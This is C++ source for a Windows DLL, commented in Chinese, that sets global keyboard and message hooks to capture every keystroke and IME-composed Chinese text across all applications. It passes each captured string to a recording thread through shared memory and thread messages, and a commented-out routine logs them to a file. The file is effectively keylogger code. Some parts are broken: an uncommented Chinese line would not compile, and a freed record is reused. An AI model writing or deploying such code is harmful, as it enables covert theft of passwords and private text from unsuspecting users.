// KHook.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#define KHOOK_DLL
#include "KHook.h"
#include <iostream>
#include "Imm.h"
#include "stdio.h"
//#include "afx.h"
//using namespace std;
/*---------------------------键盘钩子设置函数[支持中文]-----------------------------------*/
#pragma comment(lib,"imm32.lib")
//函数声明
LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam);
extern "C"
{
KHOOK_API void SetKBHookCn(void)
{
if(KBhookCn==NULL)
{
KBhookCn = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)KBhookCn_deal,hdll_lib,0);//设置全局钩子
//TRACE("SetWindowsHookEx to KBhookCn_deal ok!");
DEBUG("SetWindowsHookEx to KBhookCn_deal ok! id:(%d)\r\n",KBhookCn);
}
if(KBhookEn==NULL)
{
KBhookEn = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KBhook_deal,hdll_lib,0);//设置全局钩子
DEBUG("SetWindowsHookEx to KBhook_deal ok! id:(%d)\r\n",KBhookEn);
}
DEBUG("GetLastError : ErrorId:(%d)\r\n",GetLastError());
}
/*---------------------------键盘钩子卸载函数-----------------------------------*/
KHOOK_API void RemoveKBHook(void)
{
if(KBhookCn)
{
UnhookWindowsHookEx(KBhookCn); //卸载钩子
}
if(KBhookEn)
{
UnhookWindowsHookEx(KBhookEn); //卸载钩子
}
}
KHOOK_API void SetKBHookThreadId(int threadid)
{
nKeyRecordThreadID = threadid;
DEBUG("nKeyRecordThreadID = %d!\r\n",nKeyRecordThreadID);
}
};
LRESULT CALLBACK KBhook_deal(int nCode,WPARAM wParam,LPARAM lParam)
{
DEBUG("KBhook_deal working!\r\n");
CallNextHookEx(KBhookEn,nCode,wParam,lParam);
isKeydown=true;
return 0;
}
//键盘钩子回调函数定义
LRESULT CALLBACK KBhookCn_deal(int nCode,WPARAM wParam,LPARAM lParam)
{
DEBUG("KBhookCn_deal working!\r\n");
HIMC hIMC;
HWND hWnd;
/*char *pCNString;*/
LRESULT lResult = CallNextHookEx(KBhookCn, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
hWnd=pmsg->hwnd;
if(nCode != HC_ACTION) return 0;
/* this code from ZWELL 获得输入法处理后的字符串 */
if(pmsg->message==WM_IME_COMPOSITION)
{
if(isKeydown)
{
DWORD dwSize;
//char* lpstr=new char[MAX_INFO_SIZE];//动态申请存储中文字符的空间
PRecordInfo pRecordInfo=new RecordInfo;
//MessageBox(NULL,"","",MB_OKCANCEL);
if(pmsg->lParam & GCS_RESULTSTR)
{
// MessageBox(NULL,"1","1",MB_OKCANCEL);
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if(!hIMC) return 0;
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(pRecordInfo->lpstr, 0, sizeof(pRecordInfo->lpstr));
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, pRecordInfo->lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。可以处理lpstr,当然也可以保存为文件...
//获取当前窗口句柄
//MessageBox(NULL,pRecordInfo->lpstr,pRecordInfo->lpstr,MB_OKCANCEL);
//DEBUG("Get CNstring %s \r\n",pRecordInfo->lpstr);
// HWND hFocus=GetActiveWindow();
// pRecordInfo->hFocus=hFocus;
//pRecordInfo->svTitle=svTitle;
//CString tt;
//tt.Format(("%d",nKeyRecordThreadID))
//MessageBox(NULL,nKeyRecordThreadID,nKeyRecordThreadID,MB_OKCANCEL);
//TRACE("112");
//DEBUG("PostThreadMessage to thread(id: %d ) \r\n",nKeyRecordThreadID);
char *pCNString = NULL;
HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
if(hCNString) pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pCNString!=NULL)
{
strncpy(pCNString,pRecordInfo->lpstr,sizeof(pRecordInfo->lpstr));
}
HANDLE hThreadid=OpenFileMapping(FILE_MAP_WRITE,false,"Threadid");
if(hThreadid){
int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pThreadid) nKeyRecordThreadID=*pThreadid;
}
//char tt[20]={0};
//itoa(nKeyRecordThreadID,tt,10);
//MessageBox(NULL,pRecordInfo->lpstr,tt,MB_OKCANCEL);
if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
{
//PostThreadMessage(nKeyRecordThreadID,MY_MSG,(WPARAM)pRecordInfo,0);
DEBUG("PostThreadMessage to thread(id: %d ) failed!!\r\n",nKeyRecordThreadID);
delete[] pRecordInfo;
}
ImmReleaseContext(hWnd, hIMC);
isKeydown = false;
}
}
}
/* code from ZWELL end */
if(pmsg->message==WM_CHAR||pmsg->message==WM_KEYDOWN)
{
if(isKeydown)
{
if(pmsg->message==WM_KEYDOWN){
unsigned char ch=(unsigned char)(pmsg->wParam);
if((ch>=0x21&&ch<=0x28)||(ch>=0x70&&ch<=0x7b)||ch==0x2d||ch==0x2e||ch==0x5b);
else return 0;
}
// WM_CHAR对应可显示字符键的消息,WM_KEYDOWN对应控制键消息
if(ImmIsIME(GetKeyboardLayout(0))){ //判断中文输入法
if((unsigned char)(pmsg->wParam)>0x7F){
//MessageBox(NULL,"quit","char",MB_OK);
return 0;
}
}
/*strncpy(pCNString,(char *)&(pmsg->wParam),1);*/
lParam=pmsg->lParam;//扫描吗
wParam=pmsg->wParam;//虚拟码
//char str[20]={0};
PRecordInfo pRecordInfo=new RecordInfo;
sprintf_s(pRecordInfo->lpstr,"%c",(unsigned char)pmsg->wParam);
char *pCNString;
HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false,"CNString");
if(hCNString) pCNString=(char *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pCNString!=NULL)
{
strncpy(pCNString,pRecordInfo->lpstr,sizeof(pRecordInfo->lpstr));
}
HANDLE hThreadid=OpenFileMapping(FILE_MAP_WRITE,false,"Threadid");
if(hThreadid){
int *pThreadid=(int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
if(pThreadid) nKeyRecordThreadID=*pThreadid;
}
//char tt[20]={0};
//itoa(nKeyRecordThreadID,tt,10);
//MessageBox(NULL,pRecordInfo->lpstr,tt,MB_OKCANCEL);
if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
{
//PostThreadMessage(nKeyRecordThreadID,MY_MSG,(WPARAM)pRecordInfo,0);
DEBUG("PostThreadMessage to thread(id: %d ) failed!!\r\n",nKeyRecordThreadID);
delete[] pRecordInfo;
}
//DEBUG("Get char %s \r\n",pRecordInfo->lpstr);
获取当前窗口焦点
HWND hFocus=GetActiveWindow();
pRecordInfo->hFocus=hFocus;
while(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0));
//DEBUG("PostThreadMessage to thread(id: %d ) \r\n",nKeyRecordThreadID);
//if(!PostThreadMessage(nKeyRecordThreadID,WM_KEYHOOK_CN,(WPARAM)pRecordInfo,0))//post thread msg
//{
// DEBUG("PostThreadMessage to thread(id: %d ) failed!! \r\n",nKeyRecordThreadID);
// delete[] pRecordInfo;
//}
isKeydown=false;
}
}
return 0;
}
//void WriteDownStr( const CString strData )
//{
// //记录文件指针
// FILE *pRecorderFile;
// //写入文件
// fopen_s(&pRecorderFile, "KHook.log", "a+");
// if (NULL != pRecorderFile)
// {
// char buff[1024] = {0};
// strcpy_s(buff, strData.GetLength()+1, strData);
// fwrite(buff, strData.GetLength(), 1, pRecorderFile);
// //不写入换行
// //strcpy_s(buff, sizeof(TEXT("\n")), TEXT("\n"));
// //fwrite(buff, sizeof("\n"), 1, pLogFile);
// fclose(pRecorderFile);
// pRecorderFile = NULL;
// TRACE("WriteDown %s Ok!\r\n",strData);
// }
//}